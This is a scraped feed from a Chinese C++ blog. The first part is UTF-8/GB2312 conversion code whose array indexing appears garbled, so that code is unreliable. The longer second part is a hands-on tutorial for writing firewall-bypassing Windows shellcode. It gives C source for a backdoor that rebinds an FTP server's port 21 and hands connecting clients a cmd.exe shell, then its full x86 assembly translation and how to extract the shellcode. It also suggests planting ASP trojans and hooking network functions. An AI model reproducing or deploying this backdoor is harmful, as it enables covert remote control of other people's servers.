0x80<br>#define&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MASK2BYTES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xC0<br>#define&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MASK3BYTES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xE0<br>#define&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MASK4BYTES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xF0<br>#define&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MASK5BYTES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xF8<br>#define&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MASK6BYTES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xFC</p>
<p>typedef unsigned short&nbsp;&nbsp; Unicode2Bytes;<br>typedef unsigned int&nbsp;&nbsp;&nbsp;&nbsp; Unicode4Bytes;</p>
<p><br>void UTF8Decode2BytesUnicode(const std::string&amp; input, std::wstring&amp; output)<br>{<br>&nbsp;&nbsp;&nbsp; output = L"";<br>&nbsp;&nbsp;&nbsp; BYTE b;<br>&nbsp;&nbsp;&nbsp; Unicode2Bytes ch;<br>&nbsp;&nbsp;&nbsp; for(size_t i=0; i &lt; input.length();)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b = input; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 1110xxxx 10xxxxxx 10xxxxxx<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((input &amp; MASK3BYTES) == MASK3BYTES)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ch = ((Unicode2Bytes)(input &amp; 0x0F) &lt;&lt; 12) | (<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (Unicode2Bytes)(input[i+1] &amp; MASKBITS) &lt;&lt; 6)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | (input[i+2] &amp; MASKBITS);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i += 3;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 110xxxxx 10xxxxxx<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if((input &amp; MASK2BYTES) == MASK2BYTES)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ch = ((Unicode2Bytes)(input &amp; 0x1F) &lt;&lt; 6) | (input[i+1] &amp; MASKBITS);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i += 2;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 0xxxxxxx<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(input &lt; 0x80)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ch = input;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i += 1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; assert(false);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; output += ch;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //output.push_back(ch);<br>&nbsp;&nbsp;&nbsp; }<br>}</p>
<p>void UTF8Decode2BytesAssciChar(const std::string&amp; input, char** output)<br>{<br>&nbsp;&nbsp;&nbsp; std::wstring wsStrOutput;<br>&nbsp;&nbsp;&nbsp; if (input.empty())<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;</p>
<p>&nbsp;&nbsp;&nbsp; if (*output != NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; free(*output);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *output = NULL;<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; UTF8Decode2BytesUnicode(input, wsStrOutput);<br>&nbsp;&nbsp;&nbsp; char* pChar = (char*)malloc(wsStrOutput.length() * 2 + 1);<br>&nbsp;&nbsp;&nbsp; memset(pChar, 0, wsStrOutput.length() * 2 + 1);<br>#ifdef WIN32<br>&nbsp;&nbsp;&nbsp; WideCharToMultiByte( CP_ACP, 0, wsStrOutput.c_str(), -1,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pChar, wsStrOutput.length() * 2 + 1, NULL, NULL );<br>#else<br>&nbsp;&nbsp;&nbsp; //mbstowcs()&nbsp; wcstombs() <br>&nbsp;&nbsp;&nbsp; assert(false);<br>#endif<br>&nbsp;&nbsp;&nbsp; *output = pChar;<br>} <br>//---------------------------------------<br>#include &lt;iconv.h&gt;<br>#include &lt;iostream&gt;</p>
<p>#define OUTLEN 255</p>
<p>using namespace std;</p>
<p>// 代码转换操作类<br>class CodeConverter {<br>private:<br>iconv_t cd;<br>public:<br>// 构造<br>CodeConverter(const char *from_charset,const char *to_charset) {<br>cd = iconv_open(to_charset,from_charset);<br>}</p>
<p>// 析构<br>~CodeConverter() {<br>iconv_close(cd);<br>}</p>
<p>// 转换输出<br>int convert(char *inbuf,int inlen,char *outbuf,int outlen) {<br>char **pin = &amp;inbuf;<br>char **pout = &amp;outbuf;</p>
<p>memset(outbuf,0,outlen);<br>return iconv(cd,pin,(size_t *)&amp;inlen,pout,(size_t *)&amp;outlen);<br>}<br>};</p>
<p>int main(int argc, char **argv)<br>{<br>char *in_utf8 = "姝ｅ?ㄥ??瑁?";<br>char *in_gb2312 = "正在安装";<br>char out[OUTLEN];</p>
<p>// utf-8--&gt;gb2312<br>CodeConverter cc = CodeConverter("utf-8","gb2312");<br>cc.convert(in_utf8,strlen(in_utf8),out,OUTLEN);<br>cout &lt;&lt; "utf-8--&gt;gb2312 in=" &lt;&lt; in_utf8 &lt;&lt; ",out=" &lt;&lt; out &lt;&lt; endl;</p>
<p>// gb2312--&gt;utf-8<br>CodeConverter cc2 = CodeConverter("gb2312","utf-8");<br>cc2.convert(in_gb2312,strlen(in_gb2312),out,OUTLEN);<br>cout &lt;&lt; "gb2312--&gt;utf-8 in=" &lt;&lt; in_gb2312 &lt;&lt; ",out=" &lt;&lt; out &lt;&lt; endl;<br>}</p>
<img src ="http://www.cppblog.com/niewenlong/aggbug/30839.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-08-26 02:33 <a href="http://www.cppblog.com/niewenlong/archive/2007/08/26/30839.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>经典的东</title><link>http://www.cppblog.com/niewenlong/archive/2007/07/22/28551.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Sat, 21 Jul 2007 19:22:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/07/22/28551.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/28551.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/07/22/28551.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/28551.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/28551.html</trackback:ping><description><![CDATA[<font size=2>现在网络上获得控制台的ShellCode要么是在目标机上开一个端口，等待攻击者连接；要么是让目标机主动连接攻击者的主机，俗称反向连接。但前种方法一般都会被防火墙挡住，而后者反连不但需要攻击者有一个公网IP，而且也会被目标机端禁止外连访问的防火墙挡掉。那有没有更好的办法呢？<br><br>&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp; 第一种方法就是复用攻击时的Socket。我们在给目标机发送攻击字符串的时候，就使用了Socket，如果还存在，我们把它找到并回收利用。ShellCode完成的功能是查找进程中所有的Socket并依次判断，如果是那个发送攻击字符串的Socket，就使用它来传文件，开后门等等。<br><br>&nbsp;&nbsp;&nbsp; 第二种方法是复用端口。作为服务器，防火墙总会打开提高服务所需要的端口，比如FTP的21端口，IIS的80端口等。我们在ShellCode中复用这些防火墙打开的端口，并完成自己想要的功能。<br><br>&nbsp;&nbsp;&nbsp; 第三种方法是终止掉目标机上的FTP或IIS等服务，然后再占用21、80等端口。这种方法在法二失败的情况下可以使用。<br><br>&nbsp;&nbsp;&nbsp; 还有其它的一些方法，比如红色代码蠕虫使用的Hook技术，它是把TcpSockSend函数替换掉，这样发给任何客户的信息都是&#8220;Hacker by Chinese&#8221;，我们也可以把接收函数Recv函数Hook掉，保证即执行攻击者发过去的命令，又不影响正常的服务。<br><br>&nbsp;&nbsp;&nbsp; 另外还可以查找Socket，把所有的Socket都绑定一个DOS Shell；如果知道网站的物理路径，还可以由ShellCode直接创建一个ASP木马！当然还可以添加用户，创建虚拟映射盘，直接写一个EXE的木马并执行等&#8230;&#8230;方法很多，要用发散性的思维考虑！只要想的到，不要管做得到做不到!<br><br>&nbsp;&nbsp;&nbsp; 不管做得到做不到？这些思路都可以实现吗？其实在《Windows下ShellCode编写初步》一文中已经讲过，ShellCode就是一段代码的机器码形式，所以只要ShellCode不要太长，并符合特殊字符的规划，运行起来是不会有问题的。来个实际的编写例子吧，这里就以第二种思路――复用端口，来讲解突破防火墙ShellCode的实现。</font>
<p><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; C实现重用端口<br><br>&nbsp;&nbsp;&nbsp; 一般情况下，已经绑定的端口是不能再次被绑定的，但可以使用Setsockopt函数来改变这一点。Setsockopt函数原型如下，<br><br>&nbsp; int setsockopt(<br>&nbsp; SOCKET s,<br>&nbsp; int level,<br>&nbsp; int optname,<br>&nbsp; const char* optval,<br>&nbsp; int optlen<br>);<br><br>&nbsp;&nbsp;&nbsp; 第一个参数为要改变的Socket标志符，第二个参数为选项的等级，第三个参数就是要改成的选项名了，第四第五个参数为请求值缓冲区的指针和大小。具体实现时，把第三个参数设为SO_REUSEADDR，就可以重用已绑定的端口了。代码如下：<br><br>BOOL&nbsp; val = TRUE;<br>setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&amp;val, sizeof(val)<br><br>&nbsp;&nbsp;&nbsp; 其它的和一般的后门编写就一样了。怎么样，很简单吧？<br>&nbsp;<br>&nbsp;&nbsp;&nbsp; WTF：该方法只有在原来的程序没有使用SO_EXCLUSIVEADDRUSE选项来绑定端口的情况下，才能使用SO_REUSEADDR成功。如果使用了SO_EXCLUSIVEADDRUSE选项，就只能用其它的方法绑定端口了。</font></p>
<p align=left><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; Telnet后门的编写<br><br>&nbsp;&nbsp;&nbsp; 端口可以重用之后，总要加点功能来显示这种方法的优劣吧？空说复用端口好有什么用呢？所以再加上一个大家都看得见的功能：给连接端口的客户开一个远程的Shell。<br><br>&nbsp;&nbsp;&nbsp; 开远程的Shell比较简单，用CreateProcess函数建立CMD进程，并把进程的输入输出和错误句柄都换成我们的Socket就可以了。注意这里的Socket要用WSASocket函数建立才能这样替换，而用Socket函数建立的就只能用管道来通信了。这些不在本文的讨论之内，大家可以参看以前和将来的黑防，都会有讲的。<br><br>C实现的程序如下。<br>int main()<br>{<br>&nbsp;WSADATA ws;<br>&nbsp;SOCKET listenFD;<br>&nbsp;int ret;<br>&nbsp;//初始化wsa<br>&nbsp;WSAStartup(MAKEWORD(2,2),&amp;ws);<br>&nbsp;//注意要用WSASocket<br>&nbsp;listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);<br>&nbsp;//设置套接字选项，SO_REUSEADDR选项就是可以实现端口重绑定的 <br>&nbsp;//但如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功<br>&nbsp;BOOL&nbsp; val = TRUE;<br>&nbsp;setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&amp;val, sizeof(val) ); <br>&nbsp;//监听本机21端口<br>&nbsp;struct sockaddr_in server;<br>&nbsp;server.sin_family = AF_INET;<br>&nbsp;server.sin_port = htons(21);<br>&nbsp;server.sin_addr.s_addr = inet_addr("127.0.0.1");<br>&nbsp;ret=bind(listenFD,(sockaddr *)&amp;server,sizeof(server));<br>&nbsp;ret=listen(listenFD,2);<br>&nbsp;//如果客户请求21端口，接受连接<br>&nbsp;int iAddrSize = sizeof(server);<br>&nbsp;SOCKET clientFD=accept(listenFD,(sockaddr *)&amp;server,&amp;iAddrSize);<br>&nbsp;STARTUPINFO si;<br>&nbsp;ZeroMemory(&amp;si,sizeof(si));<br>&nbsp;si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;<br>&nbsp;//设置为输入输出句柄为Socket<br>&nbsp;si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;<br>&nbsp;char cmdLine[] = "cmd";<br>&nbsp;PROCESS_INFORMATION ProcessInformation;<br>&nbsp;//建立进程&nbsp;<br>&nbsp;ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&amp;si,&amp;ProcessInformation);<br>&nbsp;return 0;<br>}<br><br>测试一下，先安装一个Serv_U FTP服务器，那么它会打开21端口。如果Telnet 21端口，就会得到Serv_U的Banner，如下图1所示。</font></p>
<p align=center><br clear=all><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/148/liba010bjnJaI.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br><br>图1</font></p>
<p align=left><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; 现在执行我们的程序，就会重新绑定21端口。用Netstat &#8211;an查看，会发现有两个21端口在监听，一个的IP是0.0.0.0，一个是127.0.0.1。如图2所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/149/li3Wz9QooHVA.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br>&nbsp;<br>图2</font></p>
<p align=left><font face=宋体 size=2>现在再Telnet 21端口，这次得到的是Shell！哈哈，没错，我们的程序抢掉了Serv_U用的21端口，突破成功！如图3所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/150/liPgH6EjEeEfA.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br>&nbsp;<br>图3</font></p>
<p><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; 汇编的编写<br><br>&nbsp;&nbsp;&nbsp; C程序代码成功实现后，就要把它变为有ShellCode特点的汇编了。<br>《打造Windows下自己的ShellCode》一文中分析过，Windows下函数的调用是先将参数从右到左入栈，然后Call 函数的地址，所以首先要找出所有函数的地址并记下来。<br><br>&nbsp;&nbsp;&nbsp; 我写了个&#8220;FindAddress.cpp&#8221;，来查找这次所有要用的函数地址。先LoadLibrary函数所在的Dll，再GetProcAddress函数名，最后打印出得到的地址。以后要查找其它函数地址时，只要更改LoadLibrary和GetProcAddress参数里的Dll名和函数名就可以了。<br>在我的系统XP sp0下，执行的效果如下图4所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/151/li92C34w7X67A.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br>&nbsp;<br>图4</font></p>
<p><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; 在汇编代码中，把找出来的函数地址保存下来，以备后用。这里用的是固定的API函数地址，以后介绍了动态获取函数地址后，只需要加上动态查找那部分，而后面部分可以保持不动就继续使用了。这也算是一种工程的思想吧。<br>地址找到后，开始实现每个函数，函数实现完毕，汇编就写出来了。<br><br>&nbsp;&nbsp;&nbsp; 第一个是WSAStartup(MAKEWORD(2,2),&amp;ws)，&nbsp;随便减Esp 0x200，将Esp作为WS的地址，而MAKEWORD(2，2)就是0x202，所以直接Push 0x202就可以了。汇编实现如下：<br>sub esp, 0x200<br>&nbsp;&nbsp;&nbsp;push esp&nbsp;&nbsp;//第二个参数&amp;wsa<br>&nbsp;&nbsp;&nbsp;push 0x202&nbsp;&nbsp;//第一个参数0x202<br>&nbsp;&nbsp;&nbsp;call dword ptr [ebp + 0x8]&nbsp;//[ebp+0x8]中存着WSAStartup的地址，执行<br>&nbsp;&nbsp;&nbsp;add esp, 0x200<br><br>&nbsp;&nbsp;&nbsp; 第二个是执行WSASocket(AF_INET，SOCK_STREAM，IPPROTO_TCP，NULL，0，0)，这有点麻烦，那些参数值是多少呢？一种方法点右键，选择&#8220;goto 定义&#8221;，就可以找到对应的值，但遇到参数比较多的时候就比较慢；另一种方法，借用写好的C程序，按F10进入调试，按Debug工具栏上的Disassemble按钮，就出现了对应的汇编代码。如下图5所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/152/linRl3TxH00mQ.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"></font></p>
<p align=center><font face=宋体 size=2>图5</font></p>
<p><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; 看，对应的值不就出来了吗？我们只要仿照着，依次Push 0 0 0 6 1 2，再Call WSASocketA函数的地址就行了。以前说过，WSASocketA函数执行完后，EAX会存放函数的返回值，所以这里的EAX就是建立的Socket，我们把它保存在Ebx中，在后面会使用。<br><br>mov ebx, eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; save Socket to ebx<br><br>&nbsp;&nbsp;&nbsp; 下一句是&#8220;setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&amp;val, sizeof(val) )&#8221;，用同样的方法，就会知道Sizeof(val)＝4，SO_REUSEADDR为4，SOL_SOCKET为0FFFFh。那第四个参数(char *)&amp;val怎么表示呢？<br><br>其实Val＝true，就是0x00000001，那么&amp;val就是0x00000001的地址，我们在堆栈中构造出0x00000001，把它的地址当参数就可以了。<br><br>mov eax, 0x00000001<br>push eax<br>mov esi, esp&nbsp; ;这样把&amp;val存在esi中。<br><br>再执行Setsockopt就是：<br><br>&nbsp;&nbsp;&nbsp;push 4&nbsp;&nbsp;&nbsp;//第五个参数sizeof(val)＝4<br>&nbsp;&nbsp;&nbsp;push esi&nbsp;&nbsp;//第四个参数&amp;val<br>&nbsp;&nbsp;&nbsp;push 4&nbsp;&nbsp;&nbsp;//第三个参数SO_REUSEADDR<br>&nbsp;&nbsp;&nbsp;push 0FFFFh&nbsp;&nbsp;//第二个参数SOL_SOCKET<br>&nbsp;&nbsp;&nbsp;push ebx&nbsp;&nbsp;//第一个参数，WSASocket建立的Socket<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Call dword ptr [ebp+0x16]//[ebp+0x16]中存着setsockopt的地址，执行<br><br>OK！瞬间完成了一半的工作量，看着汇编一段一段的写好，真是件惬意的事啊！<br><br>好了，该第四个函数了：&#8220;bind(listenFD,(sockaddr *)&amp;server,sizeof(server));&#8221;，方法同上，第二个参数&amp;server是一个sockaddr_in结构的地址，而且里面还有对端口、地址的设置，就是这三句：<br><br>server.sin_family = AF_INET;<br>server.sin_port = htons(21);<br>server.sin_addr.s_addr = inet_addr("127.0.0.1");<br><br>&nbsp;&nbsp;&nbsp; 怎么转换比较简单呢？还是借助C程序的调试过程！在调试时，从Debug工具栏上调出Memory窗口，输入Server，就可以看到Server这个结构的值，在赋值完毕之后，变成02 00 00 15 7F 00 00 01，如下图6所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/153/liAKXRQGcsnl6.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br>&nbsp;<br>图6</font></p>
<p><br><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; 而且通过这个过程还知道，第一个0002是AF_INET，1500是htons(21)，最后的0100007F是Inet_addr(&#8220;127.0.0.1&#8221;)得到的值。我们就依着葫芦画瓢，模仿着构造出Server的值，并把地址给Esi保存，代码如下：<br><br>&nbsp;&nbsp;&nbsp;push 0x0100007F<br>&nbsp;&nbsp;&nbsp;push 0x15000002&nbsp;<br>&nbsp;&nbsp;&nbsp;mov esi,esp&nbsp;&nbsp;//构造server的值，并把地址赋给esi<br>&nbsp;&nbsp;&nbsp;<br>有了Server参数后，就可以执行Bind函数了：<br><br>&nbsp;&nbsp;&nbsp;push 10h&nbsp;&nbsp;//第三个参数sizeof(server)＝10h<br>&nbsp;&nbsp;&nbsp;push esi&nbsp;&nbsp;//第二个参数server的地址<br>&nbsp;&nbsp;&nbsp;push ebx&nbsp;&nbsp;//第一个参数Socket<br>&nbsp;&nbsp;&nbsp;call dword ptr [ebp+0x20]&nbsp;//[ebp+0x20]中存着bind的地址，执行</font></p>
<p><font face=宋体 size=2>那接下来的Listen(listenFD,2)就太简单了，实现如下：<br><br>push 2;&nbsp;&nbsp;&nbsp;//第二个参数2<br>&nbsp;&nbsp;&nbsp;push ebx;&nbsp;&nbsp;//第一个参数Socket<br>&nbsp;&nbsp;&nbsp;call dword ptr [ebp+0x24];&nbsp;//[ebp+0x24]中存着listen的地址，执行</font></p>
<p><font face=宋体 size=2>随后的Accept(listenFD,(sockaddr *)&amp;server,&amp;iAddrSize)也能轻松搞定，为：<br>&nbsp;&nbsp;&nbsp;push 10h&nbsp;&nbsp;//构造iAddrSize，地址为esp<br>&nbsp;&nbsp;&nbsp;push esp&nbsp;&nbsp;//第三个参数&amp;iAddrSize<br>&nbsp;&nbsp;&nbsp;push esi&nbsp;&nbsp;//第二个参数&amp;server<br>&nbsp;&nbsp;&nbsp;push ebx&nbsp;&nbsp;//第一个参数Socket<br>&nbsp;&nbsp;&nbsp;call dword ptr [ebp+0x28]&nbsp;//[ebp+0x28]中存着accept的地址，执行</font></p>
<p><font face=宋体 size=2>当然，因为后面要用到Accept后产生的Socket，所以把它保存在Ebx中。<br>mov ebx, eax&nbsp;//把新Socket保存在ebx中<br>这样就到了最关键的决定成败的最终BOSS：&#8220;CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&amp;si,&amp;ProcessInformation);&#8221;。哇，大概看一看，好多参数，真吓人！但仔细一看，原来是纸老虎，参数基本上都是0和1，要构造的只有三个，那就简单了。<br><br>0和1就不说了，直接Push就可以了，&amp;ProcessInformation最简单，因为不用赋初值，随便找个不用的地址就可以了，CmdLine也好解决，&#8220;cmd&#8221; 就是63 6d 64 00，构造在Ebp+0x32中，把Ebp+0x32的地址当参数压就可以了。只剩下&amp;si了，对它的赋值有几句话，<br>ZeroMemory(&amp;si,sizeof(si));<br>&nbsp;si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;<br>&nbsp;//设置为输入输出句柄为Socket<br>&nbsp;si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;<br>就是先清零，再设置Flag和句柄。我们在调试过程中，仔细地、慢慢地、温柔地数，最后可以知道Si+2ch的地方为Flag地址，&#8220;Si+38h Si+3ch Si+40h&#8221;的地方为输入输出和错误句柄。那么在汇编中构造Si就是：<br><br>&nbsp;&nbsp;&nbsp;lea edi,[esp];&nbsp;<br>&nbsp;&nbsp;&nbsp;mov word ptr [edi+2ch], 0x0101;&nbsp;&nbsp;//si.dwFlags =0x0101<br>&nbsp;&nbsp;&nbsp;mov [edi+38h],ebx;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//si.hStdInput<br>&nbsp;&nbsp;&nbsp;mov [edi+3ch],ebx;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//si.hStdOutput<br>&nbsp;&nbsp;&nbsp;mov [edi+40h],ebx;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//si.hStdError = Socket</font></p>
<p><font face=宋体 size=2>实现CreateProcess如下：&nbsp;<br>&nbsp;&nbsp;&nbsp;//暂存cmd.exe字符串于ebp+0x32中<br>&nbsp;&nbsp;&nbsp;mov dword ptr [ebp+0x32],0x00646d63;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;lea eax,[esp+0x44]<br>&nbsp;&nbsp;&nbsp;push eax&nbsp;&nbsp;&nbsp;//最后一个参数&amp;ProcessInformation<br>&nbsp;&nbsp;&nbsp;push edi&nbsp;&nbsp;&nbsp;//&amp;si<br>&nbsp;&nbsp;&nbsp;push 0&nbsp;&nbsp;&nbsp;//0<br>&nbsp;&nbsp;&nbsp;push 0&nbsp;&nbsp;&nbsp;//0<br>&nbsp;&nbsp;&nbsp;push 0&nbsp;&nbsp;&nbsp;//0<br>&nbsp;&nbsp;&nbsp;push 1&nbsp;&nbsp;&nbsp;//1<br>&nbsp;&nbsp;&nbsp;push 0&nbsp;&nbsp;&nbsp;//0<br>&nbsp;&nbsp;&nbsp;push 0&nbsp;&nbsp;&nbsp;//0<br>&nbsp;&nbsp;&nbsp;lea eax,[ebp+0x32]&nbsp;<br>&nbsp;&nbsp;&nbsp;push eax&nbsp;&nbsp;&nbsp;//"cmd"<br>&nbsp;&nbsp;&nbsp;push 0&nbsp;&nbsp;&nbsp;//0<br>&nbsp;&nbsp;&nbsp;call [ebp+0x4]&nbsp;&nbsp;//[ebp+0x4]中存着CreateProcessA的地址，执行</font></p>
<p><font face=宋体 size=2>ShellCode的获取和验证<br><br>好了，把汇编连起来，得到&#8220;ReBindASM.cpp&#8221;验证一下，呵呵，还是成功。如图7所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/154/li3IJyva6s9RQ.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br>&nbsp;<br>图7</font></p>
<p><br><font face=宋体 size=2>有一个出错对话框——当然了，我们的Esp ebp都被覆盖了，当然会出错。感兴趣的读者可以自己下去把它们恢复一下。剩下我们最感兴趣的ShellCode的提取了。<br>&nbsp;《打造Windows下自己的ShellCode》中讲过，在得到汇编后，可以进行调试，然后把汇编对应的机器码一个一个的抄下来。这里当然也可以这样，但代码太多了，一个个的抄也太郁闷了吧&#8230;&#8230;我们换个方法。<br><br>&nbsp;进入调试，在调试进入我们的汇编时，在Memory窗口中输入Eip，这样出现的就是我们ShellCode在内存中的值，如下图8所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/155/liZYj8Bs08ZVo.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br>&nbsp;<br>图8</font></p>
